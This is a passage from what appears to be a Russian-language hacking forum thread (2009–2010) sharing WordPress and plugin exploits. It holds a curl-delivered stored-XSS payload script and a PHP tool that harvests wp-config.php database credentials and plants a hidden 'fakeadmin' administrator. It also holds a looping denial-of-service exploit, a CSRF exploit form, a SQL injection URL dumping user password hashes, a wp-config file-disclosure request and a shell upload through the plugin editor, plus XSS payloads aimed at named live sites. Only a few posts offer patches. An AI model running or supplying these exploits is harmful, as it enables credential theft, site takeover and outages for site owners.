EVILURL="http://w.ch'onmouseover='document.getElementById(String.f romCharCode($WHERE)).value=this.innerHTML;document .getElementById(String.fromCharCode(112,117,98,108 ,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmles s+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

# milw0rm.com [2009-07-24]

budden
11.08.2009, 17:51
WordPress <= 2.8.3 Remote admin reset password

По сути ничего не дает несмотря на громкое название.
http://www.milw0rm.com/exploits/9410

fairy_long_nose
16.08.2009, 00:34
']XSS [Все версии]
Сегодня было опубликована ксс, работает вплоть до текущей версии включительно.

http://www.site.com’onmousemove=’location.href=String .fromCharCode(104,116,116,112,58,47,47,119,119,119 ,46,118,117,108,46,107,114,47,63,112,61,53,54,57);

Для устранения в файле wp-comments-post.php ~40 строку изменяем:
$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);
-1
Не работает

[underwater]
24.10.2009, 00:43
WP-Config Discover
1.
< ?php
2.
$paths = array(
3.
"blog",
4.
"site",
5.
"html",
6.
"www",
7.
"html/blog",
8.
"www/blog",
9.
"site/blog",
10.
"wordpress",
11.
"wp",
12.
"www/wp",
13.
"www/wordpress",
14.
"html/wordpress",
15.
"html/wp",
16.
"public_html",
17.
"public_html/blog",
18.
"public_html/wp",
19.
"public_html/wordpress",
20.
);
21.
$files = array(
22.
"wp-config.php",
23.
);
24.
print "Checking for ….\n";
25.
if(!is_readable("/etc/passwd")) die("err0r: can’t read /etc/passwd (safe mode?)");
26.
$_f = @file("/etc/passwd");
27.
foreach($_f as $usr){
28.
$usr = explode(":", $usr);
29.
$uid = $usr[2];
30.
$home = $usr[5];
31.
$usr = $usr[0];
32.
if($uid >= 1000){
33.
print $usr." (uid:".$uid."): ".$home."\n";
34.
foreach($paths as $path){
35.
if(file_exists($home."/".$path)) {
36.
print "\tSearching in ".$home."/".$path."\n";
37.
foreach($files as $file){
38.
if(file_exists($home."/".$path."/".$file)){
39.
print "\t\tFound: ".$file."\n";
40.
$__f = @file($home."/".$path."/".$file);
41.
foreach($__f as $line){
42.
if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
43.
if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
44.
if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
45.
if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
46.
if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
47.
flush();
48.
}
49.
print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
50.
if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
51.
if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
52.
flush();
53.
}
54.
}
55.
}
56.
flush();
57.
}
58.
flush();
59.
}
60.
}
61.
function getURL($user, $pass, $db, $host, $prefix){
62.
preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
63.
preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
64.
preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
65.
preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
66.
preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
67.
$sql = @mysql_connect($host, $user, $pass);
68.
@mysql_select_db($db);
69.
$_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
70.
@mysql_close($sql);
71.
return @mysql_result($_q, 0, ‘option_value’);
72.
}
73.

74.
function UserAdmin($action, $user, $pass, $db, $host, $prefix){
75.
preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
76.
preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
77.
preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
78.
preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
79.
preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
80.
$sql = @mysql_connect($host, $user, $pass);
81.
@mysql_select_db($db);
82.
if($action == "create"){
83.
$wp_uid = rand(9990,99999);
84.
@mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(’dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘http://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
85.
@mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
86.
}
87.
if($action == "delete"){
88.
mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
89.
mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
90.
}
91.
@mysql_close($sql);
92.
return "fakeadmin/dummie";
93.
}
94.
?>

[underwater]
24.10.2009, 01:15
Серьезная быра была обнаружена в файле WP-trackbacks.php. Уязвимость состоит в том, что любой посетитель буквально 20 запросами может положить сайт.

Открываем файл WP-trackbacks.php:
if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}

$charset передается через $_POST['charset']. И вя проблема состоит в кодировке mb_convert_encoding

$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);
Эта функция преобразует $text в UTF-8. Но если мы сделаем так:
$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);
mb_convert_encoding попытает определить кодировку $text, и будет проверять является ли она ISO-8859-1, и так снова и снова. Эскплоит уже придумали до меня:
<?php
//wordpress Resource exhaustion Exploit
// by rooibo
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}

if(count($data) == 2) {
$path = ”;
} else {
$path = $data['path'];
}
$path = trim($path,’/');
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}

$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);

$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;

$count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>
Запускаем так: php exploit.php http://site.com

Для патчинга открываем файл WP-trackbacks.php, ищем строку:
$charset = $_POST['charset'];
Заменяем на:
$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Techn0id
08.12.2009, 23:17
WordPress Google Analytics Plugin 3.x

http://localhost/wp/?s=</script><script>alert(0)</script>
http://localhost/wp/?s=");alert(0);document.write("

HAXTA4OK
21.12.2009, 11:27
Раскрытие пути плагина cforms да по сути что не зайди там на файл, то раскрытие

файл: cforms-captcha.php

$im_bg_url= 'captchabg/' . ( prep($_REQUEST['b'],'1.gif') );
/////ну и косячная функция getimagesize
$image_data=getimagesize($im_bg_url);


пример : http://www.sakeservices.com/wp-content/plugins/cforms/cforms-captcha.php?b=1'

HAXTA4OK
21.12.2009, 13:40
плагин xcloner

phpinfo()

файл /restore/XCloner.php


switch ($_REQUEST[task]) {



case 'step2':

step2();

break;

case 'step1':

step1();

break;

case 'getinfo':

getPHPINFO();

break;

case 'info':

echo phpinfo();

break;

default :

start();

break;

}


__http://www.hellboysword.com/wp-content/plugins/xcloner/restore/XCloner.php?task=info

Тр⚡️ха
23.12.2009, 23:53
плагин nsx-referers

/wp-content/plugins/nsx-referers/nsx-referers-stat.php


.......

$referer = $_SERVER['HTTP_REFERER'];
$ref_arr = parse_url("$referer");

.......

$res_query = urldecode($ref_arr['query']);
if (preg_match("/{$hosts[$host]}(.*?)&/si",$res_query."&",$matches))
{
$search = $matches[1];
}

if ($wpdb->rows_affected < 1)
$wpdb->query( "INSERT INTO ".REFTABLE." VALUES ('', '$url', 'NULL', 'NULL', '$search', 1)");



в Referer отсылаем http://yandex.ru/yandsearch?text=wp%27,1),(0x00,0x2f,0x00,0x00,user (),1)%23&lr=6

sumeru
26.12.2009, 19:57
http://blogsecurity.net/projects/secure-wp-whitepaper.pdf

&&

Writing Secure WordPress Plugins
http://michaeldaw.org/papers/securing_wp_plugins/


А эти пожелания скрипт (теоретически) может сам внедрить или это невозможно и только вручную?

budden
27.01.2010, 20:11
Есть несколько блогов на одном серваке - версии: 1.5.2, 2.0, 2.0.2
Рега везде отключена.

Пробовал единственный подходящий эксплойт - безуспешно:
Wordpress <= 2.0.6 wp-trackback.php Zend_Hash_Del_Key_Or_Index / sql injection admin hash disclosure exploit

Еще можно что-нибудь предпринять?

[Raz0r]
28.01.2010, 01:21
Еще можно что-нибудь предпринять?
http://www.milw0rm.com/exploits/3095

Раскрытие путей: http://site.com/wordpress/wp-admin/includes/plugin.php
страшный боян

total90
04.04.2010, 21:06
WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF

Ошибка в коде в функции:


function comment_post ($id){
global $user_ID;
global $langs;

$texts = $langs[get_option('ac_lang')];

if ($user_ID)
return $id;

if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
wp_delete_comment($id);
echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
exit;
}
}


а точнее:


if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
wp_delete_comment($id);
echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
exit;
}


если чел не передал сессию этого модуля ( а точнее не отметил чекбокс --
"Подтверждаю, что я не спам-бот" ) то модуль выдает ошибку и при этом не
фильтрует $_POST['comment'].

Сам сплойт выглядит так :

<html>
<head>
<title>WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF
Exploit</title>
<!--
Vulnerability found by total90, exploit written by Dr.TRO
-->
</head>
<body>
<form action="http://[Домен][Путь к WP]wp-comments-post.php" method="post"
name="commentform">
<input type="hidden" name="author" value="Dr.TRO" />
<input type="hidden" name="email" value="drtro.public@gmail.com" />
<input type="hidden" name="comment" value="[Уязвимое место]" />
<input type="hidden" name="comment_post_ID" value="[ID существующего
поста]" />
<input type="submit" name="submit" value="Request" />
</form>
</body>
</html>


Анализ кода и сплойт by Dr.TRO
Google dork: Для того, чтобы иметь возможность комментировать, включите
JavaScript в Вашем браузере.

winlogon.exe
06.05.2010, 13:48
как узнать версию wp ?

total90
07.05.2010, 22:46
как узнать версию wp ?
В исходникe стрaницы зaчaстую eсть.
п.с. в этой тeмe это считaeтся оффтопом.

Strilo4ka
15.05.2010, 10:55
Banner Garden Версия 0.1.3
скачал туто: http://wordpress.org/extend

bg-plugin-ajax.php - в корне плагина.

Пасивная XSS

header('Content-type: text/html; charset=UTF-8');
require_once ("../../../wp-config.php");
load_plugin_textdomain( 'bannergarden', false, dirname( plugin_basename( __FILE__ )).'/localization' );
require_once ("bannergarden.class.php");
if (class_exists('BannerGarden')) {
$bg = new BannerGarden();
}

switch ($_POST["type"]) {
case "pic":
$val_arr = array('picture' => base64_decode($_POST["picture"]),
'link' => base64_decode($_POST["link"]),
'new_window' => $_POST["nw"]);
$frm = $bg->GetBannerAjaxForm('pic',$val_arr);
echo $frm;
break;/*...*/bannergarden.class.php
/*...*/function GetBannerAjaxForm($type,$values = array()) {
switch ($type) {
/**** Picture ****/
case "pic":
$picture = '';
$link = '';
$nw_checked = '';

if (array_key_exists('picture',$values)) {
$picture = $values['picture'];
}

if (array_key_exists('link',$values)) {
$link = $values['link'];
}

if (array_key_exists('new_window',$values)) {
$new_window = $values['new_window'];
if ($new_window == 1) {
$nw_checked = ' checked="checked"';
}
}

$html = '<div class="bg_label">'.__('URL of picture:','bannergarden').'</div>';
$html .= '<small>'.__('Type an image url, or upload / select and image for the banner.','bannergarden').'</small>';
$html .= '<div class="bg_input"><input type="text" id="adpicture" name="adpicture" value="'.$picture.'" /> <input id="upload_button" type="button" value="'.__('Upload / Select Image','bannergarden').'" /></div>';

$html .= '<div class="bg_label">'.__('Link on click:','bannergarden').'</div>';
$html .= '<small>'.__('Enter a URL where we redirect the user. Use full URL start with "http://" or "https://"','bannergarden').'</small>';
$html .= '<div class="bg_input"><input type="text" id="adlink" name="adlink" value="'.$link.'" /></div>';

$html .= '<div class="bg_label">'.__('Open in new window?','bannergarden').'</div>';
$html .= '<small>'.__('Check this box if you want the link to open in a new window.','bannergarden').'</small>';
$html .= '<div class="bg_input"><input type="checkbox" name="adnewwindow" value="1"'.$nw_checked.' /></div>';
break;/*...*/Результат:
<form action="http://wordpress/wp-content/plugins/banner-garden/bg-plugin-ajax.php" method=post>
<input type=hidden name=link value="Ij48c2NyaXB0PmFsZXJ0KDEyMyk8L3NjcmlwdD48YnI=">
<input type=hidden name=type value=pic>
<input type=submit>
</form>

Strilo4ka
16.05.2010, 15:33
Pretty Link Version: 1.4.47
скачать (http://downloads.wordpress.org/plugin/pretty-link.1.4.47.zip)

Пасивная XSS

http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>

уязвимый скрипт: wp-content/plugins/pretty-link/pretty-bar.php

/*...*/
$target_url = $_GET['url'];

$shortened_title = stripslashes(substr($prli_blogname,0,$bar_title_li mit));
$shortened_desc = stripslashes(substr($prli_blogdescription,0,$bar_d esc_limit));
$shortened_link = stripslashes(substr($target_url,0,$bar_link_limit) );

if(strlen($prli_blogname) > $bar_title_limit)
$shortened_title .= "...";

if(strlen($prli_blogdescription) > $bar_desc_limit)
$shortened_desc .= "...";

if(strlen($target_url) > $bar_link_limit)
$shortened_link .= "...";
/*...*/

/*...*/
<?php if( $bar_show_target_url_link ) { ?>
<a href="<?php echo $target_url; ?>" title="You're viewing: <?php echo $target_url; ?>" target="_top">Viewing: <?php echo $shortened_link; ?></a>
<?php } else echo "&nbsp;"; ?>
/*...*/Результат: http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>

Strilo4ka
24.05.2010, 02:48
VideoWhisper Live Streaming Integration
Version: 2.1 Downloads 3,814 скачать (http://downloads.wordpress.org/plugin/videowhisper-live-streaming-integration.zip)

Как бы смотрел... Все-таки напишу хоть и пасивки...
Passive XSS

plugins/videowhisper-live-streaming-integration/ls/v_status.php
$room=$_POST[r];
$session=$_POST[s];
$username=$_POST[u];
$message=$_POST[m];

$currentTime=$_POST[ct];
$lastTime=$_POST[lt];

$maximumSessionTime=0; //900000ms=15 minutes; 0 for unlimited

$disconnect=""; //anything else than "" will disconnect with that message
?>timeTotal=<?=$maximumSessionTime?>&timeUsed=<?=$currentTime?>&lastTime=<?=$currentTime?>&disconnect=<?=$disconnect?>&loadstatus=1
Експлуатация:
POST
ct=<script>alert(123)</script>Passive XSS
/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php/*...*/
<div class="info"><h1><?=$_GET[message]?></h1>Chat session ended: You can close this window.</div>
/*...*/http://[host]/[path]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3Cscript%3Ealert%28123%29%3 C/script%3E

Пишем в файл. Если есть LFI то повезло.
plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php<?php
$username=$_POST['u'];
$session=$_POST['s'];
$room=$_POST['r'];
$message=$_POST['msg'];
$time=$_POST['msgtime'];

//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;

$dir="uploads";
if (!file_exists($dir)) mkdir($dir);
$dir.="/$room";
if (!file_exists($dir)) mkdir($dir);

$day=date("y-M-j",time());

$dfile = fopen("uploads/$room/Log$day.html","a");
fputs($dfile,$message."<BR>");
fclose($dfile);
?>loadstatus=1
Путь wp-content/plugins/videowhisper-live-streaming-integration/ls/uploads

RulleR
30.05.2010, 12:32
Plugin name: jRSS Widget (download (http://downloads.wordpress.org/plugin/jrss-widget.1.0.zip))
Version: 1.0

File Disclosure

Vuln file: /wp-content/plugins/jrss-widget/proxy.phpheader('Content-type: application/xml');
$handle = fopen($_REQUEST['url'], "r");

if ( $handle ) {
while ( !feof($handle) ) {
$buffer = fgets($handle, 4096);
echo $buffer;
}
fclose($handle);
}Exploit:POST http://[host]/[path]/wp-content/plugins/jrss-widget/proxy.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

url=../../../wp-config.php

Strilo4ka
06.06.2010, 03:51
Плагин WP Auctions

Version: 1.7.4
Last Updated: 2010-6-5

Узнаем версию вордпрес + phpinfo().

/wp-content/plugins/wp-auctions/wp_auctions.php
/*...*/
if (strstr($_SERVER['PHP_SELF'],PLUGIN_EXTERNAL_PATH.PLUGIN_NAME) && isset($_GET['debug'])):
echo "Version Number: ".$wpa_version;
echo "<p>";
phpinfo();
endif;
/*...*/Результат:
http://[host]/wp-content/plugins/wp-auctions/wp_auctions.php?debug

http://smarz1000.com/wp-content/plugins/wp-auctions/wp_auctions.php?debug

Еще версия вордпрес снизу:
http://[host]/wp-content/plugins/wp-auctions/wp_auctions.php?rss

Пути:
http://[host]/wp-content/plugins/wp-auctions/wpa_resizer.php?image=/

Еще раз пути в файле:
http://smarz1000.com/wp-content/plugins/wp-auctions/wp_auctions.php?rss

total90
06.06.2010, 21:49
Wordpress 2.9.2 Passive XSS

Search.php

Сразу оговорюсь, данная уязвимость присутствует не во всех wp-темах.

Рассмотрим тему Simple Balance (http://www.alexnote.ru/wp-content/uploads/theme/simplebalance.zip)

search.php:
<?php include (TEMPLATEPATH . '/header.php'); ?>

<div id="page">

<?php
if (!isset($theme_options["layout_style"]) || $theme_options["layout_style"] == "scs") {
include (TEMPLATEPATH . '/lsidebar.php');
}
?>

<div id="content">

<?php include (TEMPLATEPATH . '/topads.php'); ?>

<h4 class="archiveTitle">Результаты поиска <strong>'<?php echo $s?>'</strong></h4>

<?php if (have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>
<div class="post">
<div class="postTitle"><h2><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?></a></h2></div>
<div class="postInfo">Опубликовано <?php the_time('d.m.Y'); ?> в рубрике <?php the_category(', ') ?> <?php edit_post_link('изменить', '(', ')'); ?></div>

<div class="postContent">
<?php the_excerpt(); ?>
</div>

<?php if(function_exists('the_tags')) { ?><div class="postExtras"><strong>Метки:</strong> <?php the_tags('', ', ', ''); ?></div><?php } ?>

<div class="postMeta">
<span class="postLink"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>">Читать пост</a></span>
<?php
$comNo = get_comment_type_count('comment'); // Checking if there are any actual comments (trackbacks and pingbacks excluded)

if ($comNo == 1 ) {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируе е?', 'Один комментарий', 'Комментариев '.$comNo.''); ?></span>
<?php }
elseif ($comNo > 1) {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируе е?', 'Один комментарий', 'Комментариев '.$comNo.''); ?></span>
<?php }
else {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируе е?', 'Прокомментируете?', 'Прокомментируете?'); ?></span>
<?php } ?>
</div>
</div>
<?php endwhile; ?>

<div class="navigation">
<div class="left"><?php previous_posts_link('&laquo; В будущее') ?></div>
<div class="right"><?php next_posts_link('В прошлое &raquo;') ?></div>
</div>

<?php else: ?>
Ничего не найдено.<br />
Извините, по вашему запросу ничего не найдено. Возможно, вам стоит изменить параметры поиска?
<?php endif; ?>
</div>

<?php
if (isset($theme_options["layout_style"]) && $theme_options["layout_style"] == "css") {
include (TEMPLATEPATH . '/lsidebar.php');
}
?>

<?php include (TEMPLATEPATH . '/rsidebar.php'); ?>

</div>

<?php include (TEMPLATEPATH . '/footer.php'); ?>


нас интересует только:
<h4 class="archiveTitle">Результаты поиска <strong>'<?php echo $s?>'</strong></h4>
Как видим, скрипт выводит параметр $s, никак не фильтруя его.
Соответственно если передать скрипту js код в теге <script>, он выполнится.

Эксплуатация:[host]/[path]/?s=[xss]
Пример: http://seocekret.ru/?s=<script>alert()</script>

karencho777
06.06.2010, 22:51
подскажите как узнать версию wordpress

total90
06.06.2010, 22:55
подскажите как узнать версию wordpress


В исходнике страницы.
<meta name="generator" content="WordPress x.x" />

Strilo4ka
07.06.2010, 00:35
Page Flip Image Gallery cкачать (http://wordpress.org/extend/plugins/page-flip-image-gallery/)
Version 0.5.10.8 Updated 2010-4-29 Downloads 459,700

Passive XSS
wp-content\plugins\page-flip-image-gallery\script.php
<?php
ob_start();
error_reporting(0);

if ($_GET['action'] == 'test')
{
echo "OK\n".$_GET['id'];
exit();
}
/*...*/http://[host]/wp-content/plugins/page-flip-image-gallery/script.php?action=test&id=<script>alert(123)</script>

Ins3t
07.06.2010, 00:48
В файле upload.php можна походу грузить файл, но разширение должно быть как картинка, если веб-сервер обрабат. .php.jpg как php -> шелл

Что значит обрабатывает php.jpg как php?
Впервые такое слышу.

Он будет обрабатывать его как картинку, так что чтобы выполнить код скрипта придется искать, скажем, инклуд :)

brain[pillow]
07.06.2010, 02:12
В мозилле код не выполнится!

Эксплуатация:[host]/[path]/?s=[xss]
Пример: http://seocekret.ru/?s=<script>alert()</script>Риальне пи3датая пассивка, только вот жаль такой же её пи3датый "обнаруженец" не знает, что для того чтобы в мозилле увидеть результат функции alert(), в неё нужно что-нибудь передать.

Strilo4ka
07.06.2010, 05:01
AjaxChat скачать (http://downloads.wordpress.org/plugin/ajaxchat.0.3.zip)
Last Updated: 2010-6-2

SQL inj
wp-content\plugins\ajaxchat\ajaxchat_ping.php
require_once('ajaxchat_config.php');
if(!session_id()) { session_start(); }
header("Pragma: no-cache");
header("Cache-Contro: no-cache");
$id=$_GET['lastid']?$_GET['lastid']:0;
function getrand($len) {
$str="";
$a=array('A','B','C','D','E','F','G','H','I','J',' K','L','M','N','O','P','Q','R','S','T','U','V','W' ,'X','Y','Z','a','b','c','d','e','f','g','h','i',' j','k','l','m','n','o','p','q','r','s','t','u','v' ,'w','x','y','z','0','1','2','3','4','5','6','7',' 8','9');
for($i=0;$i<$len;$i++) {
$rand=rand(0,count($a)-1);
$str.=$a[$rand];
}
return $str;
}
global $current_user;
get_currentuserinfo();
$t=time();
$r=$wpdb->get_row("SELECT name,starttime FROM ".$wpdb->prefix."ajaxim_sess WHERE sessid='".session_id()."'");
if(!$r->name) {
$wpdb->query("INSERT INTO ".$wpdb->prefix."ajaxim_sess (name,lasttime,starttime,sessid) VALUES('Guest_".getrand(5)."',".$t.",".$t.",'".session_id()."')");
}
else {
$wpdb->query("UPDATE ".$wpdb->prefix."ajaxim_sess SET lasttime=".$t." WHERE sessid='".session_id()."'");
if($current_user->ID!='' && $r->name!=$current_user->display_name) {
$wpdb->query($wpdb->prepare("UPDATE ".$wpdb->prefix."ajaxim_sess SET name='%s' WHERE sessid='%s'",$current_user->display_name,session_id()));
}
}
$_SESSION['lastmsg']=$id;
$r2=$wpdb->query("SELECT name,time,msg,msgid FROM ".$wpdb->prefix."ajaxim_data WHERE time>".$r->starttime." AND msgid>".$id." ORDER BY time");
if($r2>0) {
$str="NEW:";
foreach($wpdb->last_result as $res) {
$str.="<div id='".$res->msgid."' name='".$res->msgid."'>(".date("g:ia",$res->time).")&nbsp;&lt;".$res->name."&gt;&nbsp;".stripslashes($res->msg)."</div>";
}
print $str;
}Exploit:
http://[host]/wp-content/plugins/ajaxchat/ajaxchat_ping.php?lastid=1+or+1=1+union+select+1,2 ,concat_ws(0x3a,user_login,user_pass),4+from+wp_us ers

Berman
14.08.2010, 15:18
для wp 3.0.1 есть уязвимости?

satana-fu
15.08.2010, 10:18
для wp 3.0.1 есть уязвимости?



http://blog.ru/wp-admin/post-new.php

Уязвимое поле: "Заголовок"

Тип уязвимости: Актив XSS





Публикация приводит к XSS на главной.

Нашел вчера, у себя в блоге тестил.

RA1Sh
17.08.2010, 11:26
http://blog.ru/wp-admin/post-new.php
Уязвимое поле:
"Заголовок"
Тип уязвимости:
Актив XSS
Публикация приводит к XSS на главной.
Нашел вчера, у себя в блоге тестил.


Как её прикрыть ? ))

[Feldmarschall]
17.08.2010, 17:39
Как её прикрыть ? ))


для этого есть много различных мануалов, и если будут проблемы то можно задавать их тут /forum37.html (https://antichat.live/forums/37/) специальный спец раздел.

з.ы /thread30641.html (https://antichat.live/threads/30641/)

[Feldmarschall]
19.08.2010, 18:51
WordPress 3.0.1

поковырялся немного и нашел пути

Раскрытие пути:


http://localhost/wordpress/wp-admin/edit.php?post_type[]=page
http://localhost/wordpress/wp-admin/options-general.php?page[]=
http://localhost/wordpress/wp-admin/post-new.php?post_type[]=page
http://localhost/wordpress/wp-admin/plugins.php?activate=true&plugin_status=all&paged[]=1
http://localhost/wordpress/wp-admin/plugin-editor.php?file[]=

Заливаем шелл через админку:


http://localhost/wordpress/wp-admin/plugin-editor.php?file=index.php


все удаляем и пишем исходный код шелла..

по адресу site/wordpress/wp-content/plugins/ будет наш шелл.

Berman
19.08.2010, 20:11
Ок, вот тоже парочку раскрытей наковырял:


http://site.ru/wp-content/plugins/contact-form-7/admin/admin.php - Если стоит contact-form-7
http://site.ru/wp-content/plugins/akismet/akismet.php - стандартный плагин

satana-fu
19.08.2010, 21:37
Ок, вот тоже парочку раскрытей наковырял:


в тройке практически во всех php файлах присутствует ошибка обработкиget_header();, что ведет к раскрытию путей, я у себя просто запретил вывод ошибок, добавив error_reporting (0);.


Если можно по другому решить это, буду рад услышать .

SuNDowN
14.09.2010, 23:22
Кто может рассказать про уязвимость с выдеранием фтп в WP версиях 2.8.6-3.0.0? Или выдеранием админских данных?

<Cyber-punk>
27.09.2010, 17:48
WordPress 2.9.2


http://127.0.0.1/wordpress/wp-admin/includes/misc.php
http://127.0.0.1/wordpress/wp-admin/import/rss.php
http://127.0.0.1/wordpress/wp-admin/includes/admin.php
http://127.0.0.1/wordpress/wp-admin/includes/file.php
http://127.0.0.1/wordpress/wp-admin/includes/comment.php
http://127.0.0.1/wordpress/wp-admin/includes/user.php
http://127.0.0.1/wordpress/wp-admin/includes/update.php

+ по умалчанию можно смотреть содержимое http://127.0.0.1/wordpress/wp-admin/includes/ в котором много файлов с раскрытием путей.

Ссори, если баян.

krobol
12.12.2010, 20:37
SQL-inj WordPress до версии 3.0.1 (нужны права Author)

Description: SQL injection vulnerability in do_trackbacks() function of WordPress allows remote attackers to execute arbitrary SELECT SQL query.

Access Vector: Network

Attack Complexity: Medium

Authentication: Single Instance

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None


UPDATE Dec 1, 2010: This vulnerability was first discovered by M4g and is described in this
article.

The do_trackbacks() function in wp-includes/comment.php does not properly escape the input that
comes from the user, allowing a remote user with publish_posts and edit_published_posts
capabilities to execute an arbitrary SELECT SQL query, which can lead to disclosure of any
information stored in the WordPress database.

function do_trackbacks($post_id) {
global $wpdb;

$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) );
$to_ping = get_to_ping($post_id);
$pinged = get_pung($post_id);
if ( empty($to_ping) ) {
$wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) );
return;
}

if ( empty($post->post_excerpt) )
$excerpt = apply_filters('the_content', $post->post_content);
else
$excerpt = apply_filters('the_excerpt', $post->post_excerpt);
$excerpt = str_replace(']]>', ']]>', $excerpt);
